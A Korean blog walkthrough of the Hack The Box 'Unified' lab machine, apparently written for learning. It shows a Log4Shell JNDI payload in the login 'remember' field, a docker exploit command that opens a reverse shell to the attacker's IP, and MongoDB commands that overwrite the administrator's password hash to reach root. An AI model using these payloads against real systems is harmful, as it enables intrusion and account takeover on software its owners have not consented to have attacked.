[Hack The Box] Unified ํ’€์ด

2 ๋ถ„ ์†Œ์š”

๐Ÿ’ก Hack-The-Box Unified ํ’€์ด ์ž…๋‹ˆ๋‹ค.

๋ฌธ์ œ

image

Attacker(Me) IP : 10.10.16.49
Target IP : 10.129.199.68

Enumeration

image

๋Œ€์ƒ ํ˜ธ์ŠคํŠธ์˜ ip๋Š” ์œ„์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋จผ์ € ์Šค์บ๋‹์„ ํ†ตํ•ด์„œ ์˜คํ”ˆ๋œ ์„œ๋น„์Šค๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

nmap -n -sV -p- --min-rate 3000 10.129.199.68
Nmap scan report for 10.129.199.68
Host is up (0.22s latency).
Not shown: 65498 closed tcp ports (conn-refused), 31 filtered tcp ports (no-response)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open  ibm-db2-admin?
8080/tcp open  http-proxy
8443/tcp open  ssl/nagios-nsca Nagios NSCA
8843/tcp open  ssl/unknown
8880/tcp open  cddbp-alt?

nmap ์Šค์บ” ๊ฒฐ๊ณผ ์ด 6๊ฐœ์˜ ํฌํŠธ๊ฐ€ open๋œ ๊ฒƒ์œผ๋กœ ๋‚˜์˜ค๋ฉฐ ์ด ์ค‘ 8443 ํฌํŠธ๋กœ ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์›น์‚ฌ์ดํŠธ๊ฐ€ ๋‚˜์˜ต๋‹ˆ๋‹ค.

image

unifi 6.4.54 ๋ฅผ ํ‚ค์›Œ๋“œ๋กœ ๊ตฌ๊ธ€๋ง์„ ํ•ด๋ณด๋ฉด log4j๊ฐ€ ๋ณด์ž…๋‹ˆ๋‹ค.

image

๊ด€๋ จ๋œ ๋ธ”๋กœ๊ทธ๋ฅผ ์ฝ์–ด๋ณด๋‹ˆ ํ•ด๋‹น ๋ฒ„์ „์—์„œ log4j ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” remembee๋ณ€์ˆ˜๋กœ ํ•ด๋‹น ๋ณ€์ˆ˜์— ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด์„œ payload๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋„ฃ์–ด์ค๋‹ˆ๋‹ค. ๊ทธ ์ „์— 1389ํฌํŠธ๋ฅผ ์—ด์–ด๋†“์•„์•ผ ldap ์š”์ฒญ์ด ์˜ค๋Š”์ง€ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

remember : ${jndi:ldap://(๊ณต๊ฒฉ์žIP):1389/a}

image

1389ํฌํŠธ๋กœ ์š”์ฒญ์ด ์˜จ ๊ฒƒ์„ ํ†ตํ•ด์„œ log4j ์ทจ์•ฝ์ ์ด ์กด์žฌํ•จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

image

log4junifi์—์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ๋‹ค์šด ๋ฐ›์•„์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด log4j ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

image

๋จผ์ € 4444๋ฒˆ ํฌํŠธ๋ฅผ ์—ด์–ด๋†“๊ณ , ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•ด ์ฃผ๋ฉด 4444๋ฒˆ ํฌํŠธ๋กœ ๋ฆฌ๋ฒ„์Šค ์‰˜์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

๋ช…๋ น์–ด

docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.199.68:8443 -i 10.10.16.49 -p 4444

Privilege Escalation

target machine์œผ๋กœ ์—ฐ๊ฒฐ ๋˜์—ˆ์œผ๋‹ˆ, ์ด์ œ ๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•ด์„œ ๋‹ค์‹œ ์ •๋ณด๋ฅผ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.

image

ps ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ์‹คํ–‰์ค‘์ธ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ณด๋‹ˆ, mongoDB๊ฐ€ 27117 ํฌํŠธ๋กœ ์‹คํ–‰์ค‘์ธ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

27117ํฌํŠธ๋กœ ์ ‘์†์„ ์‹œ๋„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

image

ํ˜„์žฌ default๋กœ ์ ‘์†ํ•œ db๋Š” test์ด๋ฉฐ, ๋‹ค๋ฅธ database ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

image

ace ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ unifi์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ๋ณธ database๋กœ use ace๋ช…๋ น์–ด๋กœ ํ•ด๋‹น db๋กœ ์ ‘์†ํ•œ ๋‹ค์Œ, show collections๋กœ ์ปฌ๋ ‰์…˜ ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•˜๋ฉด ์—ฌ๋Ÿฌ๊ฐ€์ง€ ์ปฌ๋ ‰์…˜์ด ๋‚˜์˜ต๋‹ˆ๋‹ค. ์ด์ค‘ admin์ปฌ๋ ‰์…˜์˜ ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•ด ๋ด…๋‹ˆ๋‹ค.

db.admin.find()           # ๊ทธ๋ƒฅ ์ถœ๋ ฅ
db.admin.find().forEach(printjson) # json ํ˜•ํƒœ๋กœ ์ถœ๋ ฅ

image

์ฒ˜์Œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋ฉด, administrator๊ณ„์ •์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ๋“ค์–ด์žˆ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. shadow์ •๋ณด๊ฐ€ $6์ธ๊ฒƒ์œผ๋กœ ๋ณด์•„ SHA-512๋กœ ํ•ด์‹œ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ œ๊ฐ€ ๋จผ์ € ์‹œ๋„ํ•ด๋ณธ ๋ฐฉ๋ฒ•์€ ํ•ด๋‹น ํ•ด์‹œ๊ฐ’์„ ๋”ฐ๋กœ ์ €์žฅํ•ด์„œ john the ripper๋กœ rockyou.txt ์‚ฌ์ „ํŒŒ์ผ์„ ํ†ตํ•ด ์•Œ์•„๋‚ด๋Š” ๊ฒƒ์„ ์‹œ๋„ํ•ด ๋ณด์•˜์ง€๋งŒ, ์‚ฌ์ „ํŒŒ์ผ์— ์กด์žฌํ•˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•„๋‹Œ ๊ฒƒ ๊ฐ™์•˜์Šต๋‹ˆ๋‹ค.(5๋ถ„์ •๋„ ๋Œ๋ ธ๋Š”๋ฐ ๋ชป์ฐพ์Œ)

๊ทธ ๋‹ค์Œ ์‹œ๋„๋Š” administrator ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฐ”๊พธ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋จผ์ € ์œ„์˜ shadow์ •๋ณด์™€ ๋™์ผํ•˜๊ฒŒ SHA-512๋กœ ์•”ํ˜ธํ™”๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

$ mkpasswd -m SHA-512
password : (hackthebox์ž…๋ ฅ)

image

์ด์ œ ์ด ํ•ด์‹œ๊ฐ’์„ ์—…๋ฐ์ดํŠธ ๋ฌธ๋ฒ•์— ๋งž๋„๋ก ๋„ฃ์–ด์ค๋‹ˆ๋‹ค.

db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set : {"x_shadow" : "$6$fv.mBFbjj71bS3JU$vgwWx8jMgP.n8XnqDJ1hzQsbnoB8y5FdoD9OExH4zxU7ls3oJIlrLZiTEMiuWiDueZD/KBjZQzi00mjBpIqTN."}})

image

์ œ๋Œ€๋กœ ์—…๋ฐ์ดํŠธ๊ฐ€ ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ด ๋ด…๋‹ˆ๋‹ค.

image

์„ฑ๊ณต์ ์œผ๋กœ ์—…๋ฐ์ดํŠธ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด์ œ administrator๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ hackthebox๋กœ ๋ณ€๊ฒฝ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

ํ™ˆํŽ˜์ด์ง€์— ๋‹ค์‹œ ๋“ค์–ด๊ฐ€์„œ id/pw๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋Œ€์‹œ๋ณด๋“œ๊ฐ€ ๋‚˜์˜ต๋‹ˆ๋‹ค.

image

๋ช‡๊ฐ€์ง€ ๊ธฐ๋Šฅ์„ ์—ด์–ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ssh ์ •๋ณด๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

image

ssh๋กœ root์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋ƒˆ์œผ๋ฏ€๋กœ ์ด๋ฅผ ์ด์šฉํ•ด์„œ root๋กœ ์ ‘์†์„ ํ•ฉ๋‹ˆ๋‹ค.

image

ํ”Œ๋ž˜๊ทธ๋ฅผ ์•Œ์•„๋‚ด๋ฉด์„œ ํ•ด๋‹น box๋ฅผ ํด๋ฆฌ์–ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ